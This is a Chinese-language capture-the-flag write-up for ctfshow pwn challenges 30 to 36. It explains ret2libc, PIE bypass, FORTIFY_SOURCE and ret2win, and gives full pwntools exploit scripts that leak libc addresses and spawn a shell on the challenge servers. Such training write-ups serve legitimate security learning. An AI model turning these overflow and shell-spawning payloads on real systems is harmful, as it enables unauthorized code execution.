然后输出了main函数,system函数的地址,还输出了变量的堆栈的信息
最后打印一条消息,说明所有的保护机制都开了,地址全部都是随机化的
然后就会为我们输出flag了
flag:ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}
pwn30
ret2libc
下载题目附件pwn,丢进虚拟机checksec
开了NX,没开canary和PIE
是32位,丢到ida反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
ctfshow(&argc);
puts(asc_8048710);
puts(asc_8048784);
puts(asc_8048800);
puts(asc_804888C);
puts(asc_804891C);
puts(asc_80489A0);
puts(asc_8048A34);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : No Canary found & No PIE ");
puts(" * ************************************* ");
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
ctfshow()函数
ssize_t ctfshow()
{
char buf[132]; // [esp+0h] [ebp-88h] BYREF
return read(0, buf, 0x100u);
}
我们先看一下plt表中的函数
objdump -d -j .plt pwn
这道题没有给我们预留后门,也没有system函数
但是plt表中有puts函数,所以我们还得使用pwn25题目的ret2libc方式来打通这道题目,因为这个程序的PIE是关闭的,并且canary也没开,ret2libc方便些
因为溢出长度没变,直接拿pwn25的exp来打即可
from pwn import *
from LibcSearcher import *
# 打印调试信息
context.log_level = 'debug'
# 建立连接
p = remote("pwn.challenge.ctf.show", "28129")
elf = ELF("./pwn")
# 溢出偏移地址
offset = 0x88 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']
# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址
payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
# 发送payload
p.sendline(payload)
# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))
# 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts", puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print(hex(libc_base))
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = offset * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
p.sendline(payload)
p.interactive()
pwn31
绕过PIE
下载题目附件pwn,丢进虚拟机checksec
32位,保护除了canary全开
丢进ida
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
printf("%p\n", main);
ctfshow(&argc);
puts(asc_854);
puts(asc_8C8);
puts(asc_944);
puts(asc_9D0);
puts(asc_A60);
puts(asc_AE4);
puts(asc_B78);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Bypass ALSR & PIE ");
puts(" * ************************************* ");
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
ctfshow()函数
ssize_t ctfshow()
{
char buf[132]; // [esp+0h] [ebp-88h] BYREF
return read(0, buf, 0x100u);
}
看.plt表
代码跟上道题目的代码都一样,函数也一样,就是开启了PIE和RELRO保护
开了PIE,就代表了地址随机化,我们不能直接知道偏移量,不能直接ret2libc梭哈了,那就得寻找别的方法
注意程序中 printf("%p\n", main);
会输出main函数的地址,这样就泄露了main函数的地址
我们就可以拿着它减去main函数的地址获得函数地址的偏移量,
然后拿着程序里的其他函数的地址加上这个偏移量就能拿到程序里函数在内存中的地址,
再利用程序的puts函数输出got表中puts函数的地址,
接着利用LibcSearcher模块根据puts函数的地址就能到puts函数在libc中的偏移,
进而得到libc中system函数的地址以及字符串”/bin/sh”的地址了,
这样我们再重新构造payload,就能得到目标服务器的权限了
计算溢出偏移量
首先使用gdb打开pwn,然后使用命令cyclic 200
输出200个字符(pwndbg的命令)
接着输入r命令运行程序,这时程序会让我们输入数据,我们就把我们之前的到的200个无用字符复制进去然后运行
这时程序由于栈溢出就会爆出错误,程序会给出一个无效地址(即图中的Invalid address),就是因为这个地址是无效的,所以我们的程序才会报错,
其实这个无效地址就是被我们覆盖的ctfshow函数的返回地址
然后我们使用命令cyclic -l 0x6261616b
,就可以知道这个地址的偏移量,也就是栈溢出的偏移量
可以看到偏移量为140
exp
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = remote("pwn.challenge.ctf.show", 28173)
elf = ELF("./pwn")
main_real_addr = int(p.recv().strip(), 16)
print(hex(main_real_addr))
base_addr = main_real_addr - elf.sym['main']
# 获得了内存中真实的main地址,再减去程序中的main函数的地址就能得到程序中函数在内存中的偏移
puts_plt = base_addr + elf.sym['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.sym['ctfshow']
ebx = base_addr + 0x1fc0
payload = 132 * b'a' + p32(ebx) + 4 * b'a' + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload)
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))
# 通过got表中puts函数的地址打印出puts函数真实的地址
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
# 找到libc,通过libc找到system、/bin/sh
payload = 140 * b'a' + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr)
p.send(payload)
p.interactive()
稍微解释一下
132 * b‘a’
:这里不是140的原因是在ctfshow函数的最后有一个mov ebx,DWORD PTR[ebp-0x4]
我们必须将这个ebx恢复而不能进行覆盖,
而那140的长度是包含ebp,所以我们132 + ebx的长度为132+4,距离140还差4个长度,我们需要再补充4个没用的字符’a’
而ebx是通过__x86.get_pc_thunk.bx
这个东西得来的,
这个东西的作用是将下一条指令的地址赋给ebx寄存器,然后通过加上一个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址。
这个pwn程序的GOT表地址为0x1fc0
,则ebx = base_addr + 0x1fc0
readelf -S pwn
查看got表的地址
payload之后就是加上puts函数的地址+ctfshow函数的地址
(这个地址是作为puts函数的返回地址的,等到puts函数执行完,会再次进入ctfshow函数,我们又可以继续利用溢出漏洞了),
之后再加上puts函数的参数,即got表puts函数的地址0xf7dab360
然后就是getshell
FORTIFY_SOURCE
FORTIFY_SOURCE(源码增强),这个其实有点类似与Windows中用新版Visual Studio进行开发的时候,当你用一些危险函数比如strcpy
、sprintf
、strcat
,编译器会提示你用xx_s
加强版函数
具体来说,FORTIFY_SOURCE可以对一些常见的函数,如strcpy、memcpy、memset等进行重载,使它们在运行时能够检测到缓冲区溢出等错误,并且会在出现错误时终止程序的执行,从而避免潜在的安全问题。
此外,FORTIFY_SOURCE还会对格式化字符串函数(如printf、scanf等)的参数进行检查,以确保其格式化字符串参数与实际参数的类型匹配,从而避免格式化字符串漏洞
本质上一种检查和替换机制,对GCC和glibc的一个安全补丁,目前支持memcpy, memmove, memset, strcpy, strncpy, strcat, strncat,sprintf, vsprintf, snprintf, vsnprintf, gets等
默认Ubuntu16.04下是关闭的,测试发现Ubuntu18.04是开启的
gcc -D_FORTIFY_SOURCE=1 仅仅只在编译时进行检查(尤其是#include <string.h>这种文件头)
gcc -D_FORTIFY_SOURCE=2 程序执行时也会进行检查(如果检查到缓冲区溢出,就会终止程序)
FORTIFY_SOURCE(代码增强)
-D 1(开启缓冲区溢出攻击检查)
-D 2(开启缓冲区溢出以及格式化字符串攻击检查) ,通过数组大小来判断替换strcpy、memcpy、memset等函数名,来防止缓冲区溢出。
pwn32
FORTIFY_SOURCE=0
下载题目附件pwn,丢进虚拟机checksec
64位,保护除canary全开
丢ida64看看
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // eax
const char *v4; // rax
int v5; // eax
int num; // [rsp+4h] [rbp-44h] BYREF
char buf2[11]; // [rsp+Ah] [rbp-3Eh] BYREF
char buf1[11]; // [rsp+15h] [rbp-33h] BYREF
v3 = getegid();
setresgid(v3, v3, v3);
logo();
v4 = argv[1];
*(_QWORD *)buf1 = *(_QWORD *)v4;
*(_WORD *)&buf1[8] = *((_WORD *)v4 + 4);
buf1[10] = v4[10];
strcpy(buf2, "CTFshowPWN");
printf("%s %s\n", buf1, buf2);
v5 = strtol(argv[3], 0LL, 10);
memcpy(buf1, argv[2], v5);
strcpy(buf2, argv[1]);
printf("%s %s\n", buf1, buf2);
fgets(buf1, 11, _bss_start);
printf(buf1, &num);
if ( argc > 4 )
Undefined();
return 0;
}
Undefined()函数
void __cdecl Undefined()
{
FILE *v0; // rax
char flag[64]; // [rsp+0h] [rbp-48h] BYREF
puts(
"The source code of these three programs is the same, and the results of turning on different levels of protection are understood\n");
puts("You should understand the role of these protections!But don't just get a flag\nHere is your flag:\n");
v0 = fopen("/ctfshow_flag", "r");
if ( !v0 )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, v0);
puts(flag);
}
审计代码
程序接收三个参数argc、argv和envp,
其中argc表示命令行参数的数量,argv是一个字符指针数组,每个元素指向一个命令行参数的字符串,envp则是一个指向环境变量的指针数组。
函数中首先调用了getegid和setresgid函数,用于获取和设置有效的组ID。然后调用logo函数输出logo信息。
接着通过strtol
函数将argv[1]
中的前10个字节以及第11个字节拷贝到了buf1数组中,
然后通过strcpy
函数将字符串”CTFshowPWN”拷贝到了buf2数组中,并通过printf函数输出了buf1和buf2的值。(注:其实还有argv[0]的,这个参数是每个程序的都一定会有的,并且值为程序名称)
然后从argv[3]
中解析出一个整数值,并将argv[2]
中的前v5个字节拷贝到buf1数组中,通过strcpy
函数将argv[1]
拷贝到buf2数组中,并通过printf函数输出了buf1和buf2的值。
接着使用fgets函数从_bss_start地址开始读取最多11个字节的数据到buf1数组中,
然后使用printf函数输出了buf1中的格式化字符串,并将num的地址作为参数传递给printf函数。
最后的if语句中,如果argc的值大于4(因为存在argv[0]
,所以这里默认为1),则调用Undefined函数,打开并读取一个名为”/ctfshow_flag”的文件
总之,只要我们让argc的值大于4就能拿到flag了
因为本题目FORTIFY_SOURCE没有开启,代表我们启动函数直接输入4个参数(这时argc=5 > 4)就行了,而且这4个参数没有长度限制,如果开启FORTIFY_SOURCE就不好说了,因为开启了之后,由于程序存在strcpy和memcpy函数会检测长度,如果长度超过了限制,可能会使程序抛出异常而退出执行
所以这道题只要输入4个参数就能拿到flag了
ssh连上靶机(密码123456),运行当前目录下的pwnme文件(和我们之前下载的pwn文件是一样的),运行的时候带上4个参数就行了
./pwnme 1 2 3 4
然后程序会停住,这个时候再回车就能拿到flag了
pwn33
FORTIFY_SOURCE=1
下载题目附件pwn,丢进虚拟机checksec
64位,保护除canary全开
丢ida64看看
__memcpy_chk(buf1, argv[2], v5, 11LL);
__strcpy_chk(buf2, argv[1], 11LL);
和上一题不同的是memcpy和strcpy这两个函数被替换成了__mencpy_chk和__strcpy_chk安全函数
可以看到这两个函数相比前两个函数只是加上了11LL这个参数加以限制,因为buf1和buf2在声明的时候的长度就是11,所以程序为了防止溢出,使用后两个函数加上这两个数组的长度加以限制以防溢出
但是这里完全不影响我们输入4个参数拿到flag,因为只要我们输入的第一个和第二个参数的长度不超过11就行了
同样方式拿到flag
pwn34
FORTIFY_SOURCE=2
下载题目附件pwn,丢进虚拟机checksec
64位,保护除canary全开
丢进ida64
__printf_chk(1LL, "%s %s\n", buf1, buf2);
v4 = strtol(argv[3], 0LL, 10);
__memcpy_chk(buf1, argv[2], v4, 11LL);
__strcpy_chk(buf2, argv[1], 11LL);
__printf_chk(1LL, "%s %s\n", buf1, buf2);
fgets(buf1, 11, _bss_start);
__printf_chk(1LL, buf1, &num);
和上题不一样的是把printf换成了__printf__chk
区别:
不能使用 %x$n 不连续地打印,也就是说如果要使用 %3$n,则必须同时使用 %1$n 和 %2$n。在使用 %n 的时候会做一些检查
这个涉及到格式化字符串漏洞,但是本题涉及不到
所以一样的方式拿flag就行了
栈溢出
pwn35
下载并checksec附件
32位,保护开了NX和Partial RELRO
丢进ida
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [esp+0h] [ebp-1Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler);
puts(asc_8048910);
puts(asc_8048984);
puts(asc_8048A00);
puts(asc_8048A8C);
puts(asc_8048B1C);
puts(asc_8048BA0);
puts(asc_8048C34);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : See what the program does! ");
puts(" * ************************************* ");
puts("Where is flag?\n");
if ( argc <= 1 )
{
puts("Try again!");
}
else
{
ctfshow((char *)argv[1]);
printf("QaQ!FLAG IS NOT HERE! Here is your input : %s", argv[1]);
}
return 0;
}
ctfshow()函数
char *__cdecl ctfshow(char *src)
{
char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF
return strcpy(dest, src);
}
审计代码
程序首先将/ctfshow_flag文件的内容读取到flag变量里,然后打印一些信息
直接看到if语句:
如果argc
的值<=1,就输出try again。代表我们失败了没拿到flag
如果argc
的值 > 1,就进入ctfshow函数,该函数将我们输入的第一个参数也就是argv[1]
赋值给dest,然后返回到main函数继续执行,会将argv[1]我们输入第一个参数的内容通过printf函数进行输出
而我们知道strcpy函数
没有长度限制,是可以产生栈溢出的
所以我们输入一个字符串,长度要超过dest变量的长度104,就能导致溢出,输出flag
ssh连接靶机
pwn36
下载并checksec附件
32位,保护只开了Partial RELRO
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow(&argc);
return 0;
}
ctfshow()函数
char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF
return gets(s);
}
这里仔细看看反编译出来的几个函数,发现还存在get_flag()
函数,但是不在main()
函数中
int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}
总之先审计代码
程序先打印信息,然后进入ctfshow()
函数,里面存在gets函数
注意gets函数是没有长度限制的,可以发生栈溢出
题目提示我们存在后门函数,也就是刚才发现的get_flag()
函数,这个函数能打印flag
所以我们的大致思路就是通过栈溢出,将ctfshow()
函数的返回地址覆盖为get_flag()
函数的地址,这样我们就可以控制程序的执行流程,进而拿到flag
首先看ida中s[36]数组的大小为36,加上我们还要覆盖掉ebp的值(ebp后面是返回地址,前面是局部变量s数组的栈空间),
我们需要的填充数据长度就为36 + 4 即 0x28 + 0x4
,
我们通过gdb的disass get_flag
命令就可以得到get_flag函数的汇编代码,其中就有get_flag函数的首地址
所以我们大致的payload就为:(0x28 + 0x4 ) * b‘a’ + p32(get_flag函数的地址)
先得到get_flag函数的地址:
拿到了get_falg函数的地址:0x8048586
然后就能写exp了(python3)
from pwn import *
p = remote("pwn.challenge.ctf.show", "28180")
offset = 0x28 + 0x4
get_flag_addr = 0x8048586
payload = offset * b'a' + p32(get_flag_addr)
p.sendline(payload)
p.interactive()
拿到flag
结语
非常好入门,爱来自web狗